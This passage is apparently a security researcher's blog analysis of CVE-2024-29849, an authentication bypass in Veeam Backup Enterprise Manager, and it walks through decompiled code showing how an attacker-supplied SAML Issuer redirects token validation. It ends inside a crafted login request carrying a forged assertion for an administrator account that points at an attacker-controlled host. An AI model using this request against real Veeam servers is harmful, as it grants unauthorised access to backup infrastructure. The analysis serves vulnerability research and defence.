Bypassing Veeam Authentication CVE-2024-29849

TLDR

Veeam published a CVSS 9.8 advisory for a authentication bypass vulnerability CVE-2024-29849, Following is my full analysis and exploit for this issue.

veeam-CVE-2024-29849

Introduction (yet another TLDR)

May 21st, Veeam published an advisory stating that Veeam Backup Enterprise Manager is affected by an authentication bypass allowing an unauthenticated attacker to bypass the authentication and log in to the Veeam Backup Enterprise Manager web interface as any user. , the CVSS for this vulnerability is 9.8.

Official Advisory States:

This vulnerability in Veeam Backup Enterprise Manager allows an unauthenticated attacker to log in to the Veeam Backup Enterprise Manager web interface as any user. -Critical

veeam-CVE-2024-29849

Advanced .NET Exploitation

if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you everything you need about deserialization and how to pop shellz on .net targets.

AdvancedNetExploitationTraining

Lets begin

When I started to analyze this vulnerability, first I was kind of disappointed on how little information veeam provided, just saying the authentication can be bypassed and not much more, however, just knowing it’s something to do with Authentication and the mitigation suggesting the issue has something to do with the either “VeeamEnterpriseManagerSvc” or “VeeamRESTSvc” services, I began my patch diffing routine and realized the entry point, I’ll introduce VeeamRESTSvc also known as Veeam.Backup.Enterprise.RestAPIService.exe

veeam-CVE-2024-29849

This service which is installed during the installation of veeam enterprise manager software and listens on port TCP/9398 and as the name implies its a REST API server Which is basically a api version of the main web application which can be found on port TCP/9443

veeam-CVE-2024-29849

Post-Exploitation?

This time, To prevent damage, the included post-exploitation technique in the poc just retrieves the list of internal file servers which should be enough to let people know the authentication has been bypassed, if you like to go full on APT with “post-exploitation” possibilities, simply, visit the following API Documentations

veeam-CVE-2024-29849

The Authentication Bypass

I started from Veeam.Backup.Enterprise.RestAPIService.CEnterpriseRestSessionManagerControllerStub.LogInAfterAuthentication , the following method is executed when an authentication request is received, I’ll try to isolate differnt parts of the codes provided so you won’t get distracted but this is how the full implementation of this method looks like.

Lets break it down, this method expects 2 arguments, first one being loginSpec which is of type LoginSpecType and the second argument is of type String and its named version.

First (line 8), the provided version value is checked, not wasting much time here I can tell you the correct value for it should be latest and you can have a look at it by opening the Veeam.Backup.Interaction.RestAPI.VersionNames which is a enum

Now that we are past that, a crucial check is done at line (17), as you can see if either the entire loginSpec or one of its members which is the loginSpec.VMwareSSOToken are not provided, then we’ll enter the if clause at line (19), we wan’t to avoid this is not where the issue happens, we actually want to hit the else caluse which is at line (44)

Before I begin tearing apart the other methods into pieces, the trained eye notices that if anything goes wrong during the execution of the following statements, there exist multiple try, catch blocks that tell the user the Login failed. We would like to avoid these of course and that’s where we are headed, lets go after the LogInBySsoToken

 1:  public override async Task<HttpResponseMessage> LogInAfterAuthentication(LoginSpecType loginSpec, [FromUri(Name = "v")] string version = null)
 2:  {
 3:  	HttpResponseMessage httpResponseMessage2;
 4:  	try
 5:  	{
 6:  		Log.SecureMessage("[Authenticated] Logging on...", Array.Empty<object>());
 7:  		VersionNames versionNames;
 8:  		if (!Enum.TryParse<VersionNames>(version, out versionNames))
 9:  		{
10:  			versionNames = VersionNames.latest;
11:  		}
12:  		if (versionNames == VersionNames.latest)
13:  		{
14:  			versionNames = Enum.GetValues(typeof(VersionNames)).Cast<VersionNames>().Last<VersionNames>();
15:  		}
16:  		CRestSession crestSession;
17:  		if (loginSpec == null || loginSpec.VMwareSSOToken == null)
18:  		{
19:  			CRestAuthorizationHeader authorizationHeader = CWebApiRestOperationContext.GetAuthorizationHeader(base.Request);
20:  			DateTime utcNow = SManagedDateTime.UtcNow;
21:  			CUserLockout cuserLockout = new CUserLockout(CInMemoryLockoutData.CreateDefaultCaseInsensitive(authorizationHeader.UserName.Name), SLogonSessions.Instance.LockoutSessings);
22:  			if (cuserLockout.IsLocked(utcNow))
23:  			{
24:  				int remainingLockTimeoutInMinutes = cuserLockout.GetRemainingLockTimeoutInMinutes(utcNow);
25:  				string text = string.Format("Maximum number of login attempts exceeded. Wait {0} minutes and try again", remainingLockTimeoutInMinutes);
26:  				throw new CRestAPICommunicationException(RestAPIStatusCodes.Unauthorized, text, Array.Empty<object>());
27:  			}
28:  			try
29:  			{
30:  				crestSession = SLogonSessions.Instance.LogInByBasicAuthentication(authorizationHeader, loginSpec, versionNames);
31:  			}
32:  			catch (CRestAPICommunicationException ex)
33:  			{
34:  				if (ex.IsLogonFailure)
35:  				{
36:  					cuserLockout.OnLoginFailure(utcNow);
37:  				}
38:  				throw;
39:  			}
40:  			cuserLockout.OnLoginSuccess();
41:  		}
42:  		else
43:  		{
44:  			crestSession = SLogonSessions.Instance.LogInBySsoToken(loginSpec, versionNames);
45:  		}
46:  		LogonSessionType logonSessionType = crestSession.MakeSessionEntity();
47:  		HttpResponseMessage httpResponseMessage = base.Request.CreateResponse(HttpStatusCode.Created, logonSessionType);
48:  		if (CWebApiRestOperationContext.GetUseCsrfTokenValue(base.Request))
49:  		{
50:  			string base64String = CUserSecurityToken.CreateNew().GetBase64String();
51:  			crestSession.SessionContext.SetSecurityToken(base64String);
52:  			CWebApiRestOperationContext.SetSessionCsrfToken(httpResponseMessage, base64String);
53:  		}
54:  		CWebApiRestOperationContext.SetSessionIdCookieAndHeader(httpResponseMessage, crestSession.SessionId);
55:  		httpResponseMessage.Headers.Location = new Uri(LogonSessionResourceSettings.Hrefs.ForLogonSession(crestSession.SessionId, true).ToString(), UriKind.Absolute);
56:  		httpResponseMessage2 = httpResponseMessage;
57:  	}
58:  	catch (CRestAPICommunicationException ex2)
59:  	{
60:  		CRestLogger.ExceptionWithOperationContext(base.ActionContext, ex2, "Login failed.", Array.Empty<object>());
61:  		throw;
62:  	}
63:  	catch (SecurityException ex3)
64:  	{
65:  		CRestLogger.ExceptionWithOperationContext(base.ActionContext, ex3, "Login failed.", Array.Empty<object>());
66:  		throw new CRestAPICommunicationException(RestAPIStatusCodes.Unauthorized, ex3.Message, Array.Empty<object>());
67:  	}
68:  	catch (Exception ex4)
69:  	{
70:  		CRestLogger.ExceptionWithOperationContext(base.ActionContext, ex4, "Login failed.", Array.Empty<object>());
71:  		throw;
72:  	}
73:  	return httpResponseMessage2;
74:  }

Following is the implementation of the Veeam.Backup.Enterprise.RestAPIService.CWebApiRestLogonSessionsScope.LogInBySsoToken

as one can tell, this method expects the two previous arguments, the loginSpec and ver, and it uses the loginSpec argument to call another method named AuthorizeByVMwareSsoToken, to be more accurate, it uses the VMwareSSOToken member of the loginSpec, lets see what exactly this argument should look like and then we’ll analyze the AuthorizeByVMwareSsoToken

 1:  public CRestSession LogInBySsoToken(LoginSpecType loginSpec, VersionNames ver)
 2:  {
 3:  	CRestSession crestSession2;
 4:  	using (CAutoRefScope cautoRefScope = new CAutoRefScope())
 5:  	{
 6:  		CUserSessionContextData<CWinLoginDependantInfo> cuserSessionContextData = this._authMngr.AuthorizeByVMwareSsoToken(loginSpec.VMwareSSOToken);
 7:  		CAutoRef<CUserSessionContextHolder> cautoRef = new CAutoRef<CUserSessionContextHolder>(cautoRefScope, cuserSessionContextData.ContextHolder);
 8:  		CRestSession crestSession = this._restSessionMngr.CreateNewSession(cautoRef, cuserSessionContextData.LoginInfo, null, ver, this.License, this._licenseMngr);
 9:  		Log.SecureMessage("User [{0}] was successfully logged on by token.", new object[] { cautoRef.Get().Context.UserName });
10:  		cautoRefScope.Commit();
11:  		crestSession2 = crestSession;
12:  	}
13:  	return crestSession2;
14:  }

This class type is very simple, it has multiple members of different types:

 1:  using System;
 2:  using System.CodeDom.Compiler;
 3:  using System.ComponentModel;
 4:  using System.Runtime.Serialization;
 5:  using System.Xml.Serialization;
 6:  
 7:  namespace Veeam.Backup.Interaction.RestAPI.Resources
 8:  {
 9:  	[GeneratedCode("System.Xml", "4.7.3056.0")]
10:  	[DesignerCategory("code")]
11:  	[XmlType(Namespace = "http://www.veeam.com/ent/v1.0")]
12:  	[XmlRoot("LoginSpec", Namespace = "http://www.veeam.com/ent/v1.0", IsNullable = false)]
13:  	[DataContract(Name = "LoginSpec", Namespace = "")]
14:  	[Serializable]
15:  	public class LoginSpecType : SpecType
16:  	{
17:  		[XmlElement(Order = 0)]
18:  		[DataMember(Name = "VMwareSSOToken")]
19:  		public string VMwareSSOToken
20:  		{
21:  			get
22:  			{
23:  				return this.vMwareSSOTokenField;
24:  			}
25:  			set
26:  			{
27:  				this.vMwareSSOTokenField = value;
28:  			}
29:  		}
30:  
31:  		[XmlElement(Order = 1)]
32:  		[DataMember(Name = "TenantCredentials")]
33:  		public TenantCredentialsInfoType TenantCredentials
34:  		{
35:  			get
36:  			{
37:  				return this.tenantCredentialsField;
38:  			}
39:  			set
40:  			{
41:  				this.tenantCredentialsField = value;
42:  			}
43:  		}
44:  
45:  		[XmlElement(Order = 2)]
46:  		[DataMember(Name = "VCloudOrganizationCredentials")]
47:  		public VCloudOrganizationCredentialsInfoType VCloudOrganizationCredentials
48:  		{
49:  			get
50:  			{
51:  				return this.vCloudOrganizationCredentialsField;
52:  			}
53:  			set
54:  			{
55:  				this.vCloudOrganizationCredentialsField = value;
56:  			}
57:  		}
58:  
59:  		private string vMwareSSOTokenField;
60:  
61:  		private TenantCredentialsInfoType tenantCredentialsField;
62:  
63:  		private VCloudOrganizationCredentialsInfoType vCloudOrganizationCredentialsField;
64:  	}
65:  }

The Veeam.Backup.Enterprise.Core.dll!Veeam.Backup.Enterprise.Core.CAuthorizationManager.AuthorizeByVMwareSsoToken expects an argument named ssoToken, this sounds promising, maybe its an issue in the sso implementation one should ask.

Line (7) the ssoToken is base64 decoded and places inside an byte array, following that, the byte array is converted to an string and using an instance of the XmlDocument() class the string is XML decoded and contained in the xmlDocument variable.

Line (12,13,14) an instance of the XmlNamespaceManager is created and is used to lookup inside the provided XML for an specific element at /saml2:Assertion/saml2:Issuer.

Later, when the xmlNode is found, its value is passed to the this.FindValidSTSEndpointUrl method.

Okay, so far we understand that a base64 encoded XML should be provided that has a SAML like structure and then the Issuer is extracted from the provided XML and passed to the FindValidSTSEndpointUrl lets dig deeper.

 1:  public CUserSessionContextData<CWinLoginDependantInfo> AuthorizeByVMwareSsoToken(string ssoToken)
 2:  {
 3:  	Uri uri = null;
 4:  	CUserSessionContextData<CWinLoginDependantInfo> cuserSessionContextData;
 5:  	try
 6:  	{
 7:  		byte[] array = Convert.FromBase64String(ssoToken);
 8:  		string @string = Encoding.UTF8.GetString(array);
 9:  		XmlDocument xmlDocument = new XmlDocument();
10:  		xmlDocument.LoadXml(@string);
11:  		XmlElement documentElement = xmlDocument.DocumentElement;
12:  		XmlNamespaceManager xmlNamespaceManager = new XmlNamespaceManager(xmlDocument.NameTable);
13:  		xmlNamespaceManager.AddNamespace("saml2", "urn:oasis:names:tc:SAML:2.0:assertion");
14:  		XmlNode xmlNode = documentElement.SelectSingleNode("/saml2:Assertion/saml2:Issuer", xmlNamespaceManager);
15:  		uri = this.FindValidSTSEndpointUrl(xmlNode.InnerText);
16:  		Log.Message("Validating Single Sign-On token. Service enpoint URL: {0}", new object[] { uri });
17:  		using (CVcAuthService cvcAuthService = CVcAuthService.Open(uri))
18:  		{
19:  			if (!cvcAuthService.ValidateAuthToken(documentElement))
20:  			{
21:  				throw new SecurityException("Failed to validate Single Sign-On token");
22:  			}
23:  		}
24:  		string text;
25:  		SecurityIdentifier securityIdentifier;
26:  		IdentityReference[] array2;
27:  		CAuthorizationManager.ExtractUserInfo(documentElement, xmlDocument, xmlNamespaceManager, out text, out securityIdentifier, out array2);
28:  		cuserSessionContextData = this.AuthorizeByUserSid(text, securityIdentifier, array2, true);
29:  	}
30:  	catch (UnauthorizedAccessException ex)
31:  	{
32:  		Log.SecureException(ex, "Failed to authorize user.", Array.Empty<object>());
33:  		throw new SecurityException("Your account does not have any roles assigned. Please contact web portal administrator.");
34:  	}
35:  	catch (SoapException ex2)
36:  	{
37:  		Log.SecureException(ex2, "Failed to invoke Single Sign-On service.", Array.Empty<object>());
38:  		throw new SecurityException(string.Format("vCenter Single Sign-On service communication failure. Address: {0}. Service message: {1}", (uri != null) ? uri.ToString() : "", ex2.Message));
39:  	}
40:  	catch (WebException ex3)
41:  	{
42:  		Log.SecureException(ex3, "Failed to invoke Single Sign-On service.", Array.Empty<object>());
43:  		throw new SecurityException(string.Format("vCenter Single Sign-On service communication failure. Address: {0}. Service message: {1}", (uri != null) ? uri.ToString() : "", ex3.Message));
44:  	}
45:  	catch (SecurityException ex4)
46:  	{
47:  		Log.SecureError("Failed to authorize user. SSO token: ", Array.Empty<object>());
48:  		Log.AppendLines(new string[] { ssoToken });
49:  		Log.Exception(ex4, null, Array.Empty<object>());
50:  		throw;
51:  	}
52:  	catch (Exception ex5)
53:  	{
54:  		Log.SecureError("Failed to authorize user. SSO token: ", Array.Empty<object>());
55:  		Log.AppendLines(new string[] { ssoToken });
56:  		Log.Exception(ex5, null, Array.Empty<object>());
57:  		throw new SecurityException(string.Format("Login by Single Sign-On token failed. Error message: {0}", ex5.Message));
58:  	}
59:  	return cuserSessionContextData;
60:  }

The eagle eye notices the argument name being authServiceLocationStr which sounds pretty bad, the value of this argument is used to instantiate a Uri object and then this newly created Uri object is used in multiple places.

Whats important here is the fact that at the end of this method (line 24) our controlled uri.host and uri.port are used to construct a URL and return it to the caller

 1:  private Uri FindValidSTSEndpointUrl(string authServiceLocationStr)
 2:  {
 3:  	Uri uri = new Uri(authServiceLocationStr);
 4:  	Log.Message("Token Issuer: {0}", new object[] { uri });
 5:  	string host = uri.Host;
 6:  	Log.Message("Token SSO hostname: {0}", new object[] { host });
 7:  	CVcPluginInfo cvcPluginInfo = null;
 8:  	foreach (CVcPluginInfo cvcPluginInfo2 in this._pluginHive.GetKnownSupportedVCHostsInfo())
 9:  	{
10:  		string text = UriFormatter.FormatHttps(host, null, null, null, true);
11:  		CVcHostInfo vcHostInfo = cvcPluginInfo2.VcHostInfo;
12:  		if (((vcHostInfo != null) ? vcHostInfo.StsUrl : null) != null && cvcPluginInfo2.VcHostInfo.StsUrl.StartsWith(text, StringComparison.OrdinalIgnoreCase))
13:  		{
14:  			cvcPluginInfo = cvcPluginInfo2;
15:  			break;
16:  		}
17:  	}
18:  	Uri uri2;
19:  	if (CAuthorizationManager.VaidateStsUrl(cvcPluginInfo, out uri2))
20:  	{
21:  		return uri2;
22:  	}
23:  	return new Uri(authServiceLocationStr.Contains("websso/SAML2/Metadata", StringComparison.OrdinalIgnoreCase) ? UriFormatter.FormatHttps(uri.Host, new int?(uri.Port), "sts/STSService", null, true) : UriFormatter.FormatHttps(uri.Host, new int?(uri.Port), "ims/STSService", null, true));
24:  }

So after the FindValidSTSEndpointUrl returns with our controlled URL inside the uri variable, another important method is executed which is at line (3) named CVcAuthService.Open and our controlled uri is passed as an argument to it. and the result of this method is an instance of Veeam.Backup.Enterprise.Core.CVcAuthService which resides in Veeam.Backup.Enterprise.Core.dll

Now, lets figure out what this CVcAuthService.Open actually does

1:  uri = this.FindValidSTSEndpointUrl(xmlNode.InnerText);
2:  Log.Message("Validating Single Sign-On token. Service enpoint URL: {0}", new object[] { uri });
3:  using (CVcAuthService cvcAuthService = CVcAuthService.Open(uri))
4:  {
5:  	if (!cvcAuthService.ValidateAuthToken(documentElement))
6:  	{
7:  		throw new SecurityException("Failed to validate Single Sign-On token");
8:  	}
9:  }

When the Open method is called, it actually instantiates an instance of its own class and passes its own argument to CVcAuthService(Uri vcAuthServiceLocation) at line (11), this causes (line 13,14) the this._service to be initialized with an instance of STSService and the this._service.Url property to get assigned to the passed URL.

 1:  namespace Veeam.Backup.Enterprise.Core
 2:  {
 3:  	internal class CVcAuthService : IDisposable
 4:  	{
 5:  		static CVcAuthService()
 6:  		{
 7:  			CSslCertificateProtocolHolder.EnableAll();
 8:  			CSslCertificateCollector.InitSuppressErrorsForAllHosts();
 9:  		}
10:  
11:  		private CVcAuthService(Uri vcAuthServiceLocation)
12:  		{
13:  			this._service = new STSService();
14:  			this._service.Url = vcAuthServiceLocation.ToString();
15:  		}
16:  
17:  		public static CVcAuthService Open(Uri vcAuthServiceLocation)
18:  		{
19:  			return new CVcAuthService(vcAuthServiceLocation);
20:  		}
[..SNIP..]

But one should ask, what exactly is STSService? well, lets have a look inside. This class is part of the SSOApi and it extends a very important class which is SoapHttpClientProtocol

readers

For those who are not familiar with this class, this is a native .NET class that extends yet another class HttpWebClientProtocol, simply put, this is a Soap HTTP Client that expects a URL to connect to and one can define methods, namespaces, etc so this Soap HTTP Client can be used to invoke virtual methods case an actual SOAP Request to be made and its response to be returned and formatted in form of .NET defined types. Following you can see how Veeam developers decided to extend the SoapHttpClientProtocol to use it for their own purposes one being validating a given ssoToken

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Threading;
using System.Web.Services;
using System.Web.Services.Description;
using System.Web.Services.Protocols;
using System.Xml;
using System.Xml.Serialization;
using Veeam.TimeMachine.Tool;

namespace SSOApi
{
	[GeneratedCode("wsdl", "4.0.30319.1")]
	[DebuggerStepThrough]
	[DesignerCategory("code")]
	[WebServiceBinding(Name = "STSService_Binding", Namespace = "http://www.rsa.com/names/2009/12/product/riat/wsdl")]
	[XmlInclude(typeof(ProblemActionType))]
	[XmlInclude(typeof(TransformationParametersType))]
	[XmlInclude(typeof(SecurityTokenReferenceType))]
	[XmlInclude(typeof(ReferenceType1))]
	[XmlInclude(typeof(SecurityHeaderType))]
	[XmlInclude(typeof(StatementAbstractType))]
	[XmlInclude(typeof(SignaturePropertiesType))]
	[XmlInclude(typeof(ManifestType))]
	[XmlInclude(typeof(ObjectType))]
	[XmlInclude(typeof(AllowPostdatingType))]
	public class STSService : SoapHttpClientProtocol
	{
		public STSService()
		{
			base.Url = "https://localhost:8444/ims/STSService";
		}



		public event IssueCompletedEventHandler IssueCompleted;




		public event RenewCompletedEventHandler RenewCompleted;




		public event ValidateCompletedEventHandler ValidateCompleted;




		public event ChallengeCompletedEventHandler ChallengeCompleted;


		[SoapDocumentMethod("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Bare)]
		[return: XmlElement("RequestSecurityTokenResponseCollection", Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")]
		public RequestSecurityTokenResponseCollectionType Issue([XmlElement(Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")] RequestSecurityTokenType RequestSecurityToken)
		{
			return (RequestSecurityTokenResponseCollectionType)base.Invoke("Issue", new object[] { RequestSecurityToken })[0];
		}


		public IAsyncResult BeginIssue(RequestSecurityTokenType RequestSecurityToken, AsyncCallback callback, object asyncState)
		{
			return base.BeginInvoke("Issue", new object[] { RequestSecurityToken }, callback, asyncState);
		}


		public RequestSecurityTokenResponseCollectionType EndIssue(IAsyncResult asyncResult)
		{
			return (RequestSecurityTokenResponseCollectionType)base.EndInvoke(asyncResult)[0];
		}


		public void IssueAsync(RequestSecurityTokenType RequestSecurityToken)
		{
			this.IssueAsync(RequestSecurityToken, null);
		}


		public void IssueAsync(RequestSecurityTokenType RequestSecurityToken, object userState)
		{
			if (this.IssueOperationCompleted == null)
			{
				this.IssueOperationCompleted = new SendOrPostCallback(this.OnIssueOperationCompleted);
			}
			base.InvokeAsync("Issue", new object[] { RequestSecurityToken }, this.IssueOperationCompleted, userState);
		}


		private void OnIssueOperationCompleted(object arg)
		{
			if (this.IssueCompleted != null)
			{
				InvokeCompletedEventArgs invokeCompletedEventArgs = (InvokeCompletedEventArgs)arg;
				this.IssueCompleted(this, new IssueCompletedEventArgs(invokeCompletedEventArgs.Results, invokeCompletedEventArgs.Error, invokeCompletedEventArgs.Cancelled, invokeCompletedEventArgs.UserState));
			}
		}


		[SoapDocumentMethod("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Renew", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Bare)]
		[return: XmlElement("RequestSecurityTokenResponse", Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")]
		public RequestSecurityTokenResponseType Renew([XmlElement(Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")] RequestSecurityTokenType RequestSecurityToken)
		{
			return (RequestSecurityTokenResponseType)base.Invoke("Renew", new object[] { RequestSecurityToken })[0];
		}


		public IAsyncResult BeginRenew(RequestSecurityTokenType RequestSecurityToken, AsyncCallback callback, object asyncState)
		{
			return base.BeginInvoke("Renew", new object[] { RequestSecurityToken }, callback, asyncState);
		}


		public RequestSecurityTokenResponseType EndRenew(IAsyncResult asyncResult)
		{
			return (RequestSecurityTokenResponseType)base.EndInvoke(asyncResult)[0];
		}


		public void RenewAsync(RequestSecurityTokenType RequestSecurityToken)
		{
			this.RenewAsync(RequestSecurityToken, null);
		}


		public void RenewAsync(RequestSecurityTokenType RequestSecurityToken, object userState)
		{
			if (this.RenewOperationCompleted == null)
			{
				this.RenewOperationCompleted = new SendOrPostCallback(this.OnRenewOperationCompleted);
			}
			base.InvokeAsync("Renew", new object[] { RequestSecurityToken }, this.RenewOperationCompleted, userState);
		}


		private void OnRenewOperationCompleted(object arg)
		{
			if (this.RenewCompleted != null)
			{
				InvokeCompletedEventArgs invokeCompletedEventArgs = (InvokeCompletedEventArgs)arg;
				this.RenewCompleted(this, new RenewCompletedEventArgs(invokeCompletedEventArgs.Results, invokeCompletedEventArgs.Error, invokeCompletedEventArgs.Cancelled, invokeCompletedEventArgs.UserState));
			}
		}


		[SoapDocumentMethod("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Validate", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Bare)]
		[return: XmlElement("RequestSecurityTokenResponse", Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")]
		public RequestSecurityTokenResponseType Validate([XmlElement(Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")] RequestSecurityTokenType RequestSecurityToken)
		{
			return (RequestSecurityTokenResponseType)base.Invoke("Validate", new object[] { RequestSecurityToken })[0];
		}


		public IAsyncResult BeginValidate(RequestSecurityTokenType RequestSecurityToken, AsyncCallback callback, object asyncState)
		{
			return base.BeginInvoke("Validate", new object[] { RequestSecurityToken }, callback, asyncState);
		}


		public RequestSecurityTokenResponseType EndValidate(IAsyncResult asyncResult)
		{
			return (RequestSecurityTokenResponseType)base.EndInvoke(asyncResult)[0];
		}


		public void ValidateAsync(RequestSecurityTokenType RequestSecurityToken)
		{
			this.ValidateAsync(RequestSecurityToken, null);
		}


		public void ValidateAsync(RequestSecurityTokenType RequestSecurityToken, object userState)
		{
			if (this.ValidateOperationCompleted == null)
			{
				this.ValidateOperationCompleted = new SendOrPostCallback(this.OnValidateOperationCompleted);
			}
			base.InvokeAsync("Validate", new object[] { RequestSecurityToken }, this.ValidateOperationCompleted, userState);
		}


		private void OnValidateOperationCompleted(object arg)
		{
			if (this.ValidateCompleted != null)
			{
				InvokeCompletedEventArgs invokeCompletedEventArgs = (InvokeCompletedEventArgs)arg;
				this.ValidateCompleted(this, new ValidateCompletedEventArgs(invokeCompletedEventArgs.Results, invokeCompletedEventArgs.Error, invokeCompletedEventArgs.Cancelled, invokeCompletedEventArgs.UserState));
			}
		}


		[SoapDocumentMethod("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTR/Issue", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Bare)]
		[return: XmlElement("RequestSecurityTokenResponseCollection", Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")]
		public RequestSecurityTokenResponseCollectionType Challenge([XmlElement(Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")] RequestSecurityTokenResponseType RequestSecurityTokenResponse)
		{
			return (RequestSecurityTokenResponseCollectionType)base.Invoke("Challenge", new object[] { RequestSecurityTokenResponse })[0];
		}


		public IAsyncResult BeginChallenge(RequestSecurityTokenResponseType RequestSecurityTokenResponse, AsyncCallback callback, object asyncState)
		{
			return base.BeginInvoke("Challenge", new object[] { RequestSecurityTokenResponse }, callback, asyncState);
		}


		public RequestSecurityTokenResponseCollectionType EndChallenge(IAsyncResult asyncResult)
		{
			return (RequestSecurityTokenResponseCollectionType)base.EndInvoke(asyncResult)[0];
		}


		public void ChallengeAsync(RequestSecurityTokenResponseType RequestSecurityTokenResponse)
		{
			this.ChallengeAsync(RequestSecurityTokenResponse, null);
		}


		public void ChallengeAsync(RequestSecurityTokenResponseType RequestSecurityTokenResponse, object userState)
		{
			if (this.ChallengeOperationCompleted == null)
			{
				this.ChallengeOperationCompleted = new SendOrPostCallback(this.OnChallengeOperationCompleted);
			}
			base.InvokeAsync("Challenge", new object[] { RequestSecurityTokenResponse }, this.ChallengeOperationCompleted, userState);
		}


		private void OnChallengeOperationCompleted(object arg)
		{
			if (this.ChallengeCompleted != null)
			{
				InvokeCompletedEventArgs invokeCompletedEventArgs = (InvokeCompletedEventArgs)arg;
				this.ChallengeCompleted(this, new ChallengeCompletedEventArgs(invokeCompletedEventArgs.Results, invokeCompletedEventArgs.Error, invokeCompletedEventArgs.Cancelled, invokeCompletedEventArgs.UserState));
			}
		}


		public new void CancelAsync(object userState)
		{
			base.CancelAsync(userState);
		}


		public static SecurityHeaderType MakeNewSecurityHeader()
		{
			DateTime utcNow = SManagedDateTime.UtcNow;
			return new SecurityHeaderType
			{
				Timestamp = new TimestampType
				{
					Created = new AttributedDateTime
					{
						Value = STSService.FormatTimestamp(utcNow)
					},
					Expires = new AttributedDateTime
					{
						Value = STSService.FormatTimestamp(utcNow + TimeSpan.FromMinutes(30.0))
					}
				}
			};
		}


		private static string FormatTimestamp(DateTime dt)
		{
			return dt.ToString("yyyy-MM-dd'T'HH:mm:ss.FFF'Z'", CultureInfo.InvariantCulture);
		}


		protected override XmlWriter GetWriterForMessage(SoapClientMessage message, int bufferSize)
		{
			message.Headers.Clear();
			message.Headers.Add(STSService.MakeNewSecurityHeader());
			return base.GetWriterForMessage(message, bufferSize);
		}


		private SendOrPostCallback IssueOperationCompleted;


		private SendOrPostCallback RenewOperationCompleted;


		private SendOrPostCallback ValidateOperationCompleted;


		private SendOrPostCallback ChallengeOperationCompleted;
	}
}

Once an instance is created (line 1), the ValidateAuthToken is executed and our documentElement object is passed to it, if you’ve forget, this variable holds the entire tree of our XML parsed by XmlDocument() in previous statements, now lets understand the inner-workings of this method as well, after all, this is where the token is hopefully validated.

1:  using (CVcAuthService cvcAuthService = CVcAuthService.Open(uri))
2:  {
3:  	if (!cvcAuthService.ValidateAuthToken(documentElement))
4:  	{
5:  		throw new SecurityException("Failed to validate Single Sign-On token");
6:  	}
7:  }

Simply put, this method will expect the XML we’ve provided and makes a call to the Validate method which belongs to the class we discussed just a bit earlier, the STSService and it includes our token inside the ValidateTarget member

public bool ValidateAuthToken(XmlElement token)
 1:  {
 2:  	RequestSecurityTokenResponseType requestSecurityTokenResponseType = this._service.Validate(new RequestSecurityTokenType
 3:  	{
 4:  		TokenType = TokenTypeEnum.httpdocsoasisopenorgwssxwstrust200512RSTRStatus,
 5:  		RequestType = RequestTypeEnum.httpdocsoasisopenorgwssxwstrust200512Validate,
 6:  		ValidateTarget = token,
 7:  		TokenTypeSpecified = true
 8:  	});
 9:  	StatusCodeEnum code = requestSecurityTokenResponseType.Status.Code;
10:  	bool flag;
11:  	if (code != StatusCodeEnum.httpdocsoasisopenorgwssxwstrust200512statusvalid)
12:  	{
13:  		if (code != StatusCodeEnum.httpdocsoasisopenorgwssxwstrust200512statusinvalid)
14:  		{
15:  			throw new NotImplementedException("Unknown token validation result status code.");
16:  		}
17:  		flag = false;
18:  	}
19:  	else
20:  	{
21:  		flag = true;
22:  	}
23:  	Log.Message("Token is {0}. Message: {1}", new object[]
24:  	{
25:  		flag ? "valid." : "invalid.",
26:  		requestSecurityTokenResponseType.Status.Reason
27:  	});
28:  	return flag;
29:  }

following is a reminder on how the Validate method has been defined, there is no imeplemntation since this method is actually creating a SOAP Request instead and sending it across to the previously populated this._service.Url

[SoapDocumentMethod("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Validate", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Bare)]
[return: XmlElement("RequestSecurityTokenResponse", Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")]
public RequestSecurityTokenResponseType Validate([XmlElement(Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512")] RequestSecurityTokenType RequestSecurityToken)
{
	return (RequestSecurityTokenResponseType)base.Invoke("Validate", new object[] { RequestSecurityToken })[0];
}

At this point, given a request like the following:

POST /api/sessionMngr/?v=latest HTTP/2
Host: 192.168.253.180:9398
Content-Length: 1485
Content-Type: application/json
Accept: application/xml, text/xml, */*; q=0.01

{"VMwareSSOToken":"<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
    <saml2:Issuer>https://192.168.253.1/STSService</saml2:Issuer>
    <saml2:Subject>
        <saml2:NameID>administrator@evilcorp.local</saml2:NameID>
        <saml2:SubjectConfirmation>
            <saml2:SubjectConfirmationData NotOnOrAfter="2024-06-10T00:00:00Z" />
        </saml2:SubjectConfirmation>
    </saml2:Subject>
    <saml2:AuthnStatement AuthnInstant="2024-06-09T00:00:00Z">
        <saml2:AuthnContext>
            <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
        </saml2:AuthnContext>
    </saml2:AuthnStatement>
    <saml2:AttributeStatement>
        <saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
            <saml2:AttributeValue>username@example.com</saml2:AttributeValue>
        </saml2:Attribute>
        <saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">
            <saml2:AttributeValue>John Doe</saml2:AttributeValue>
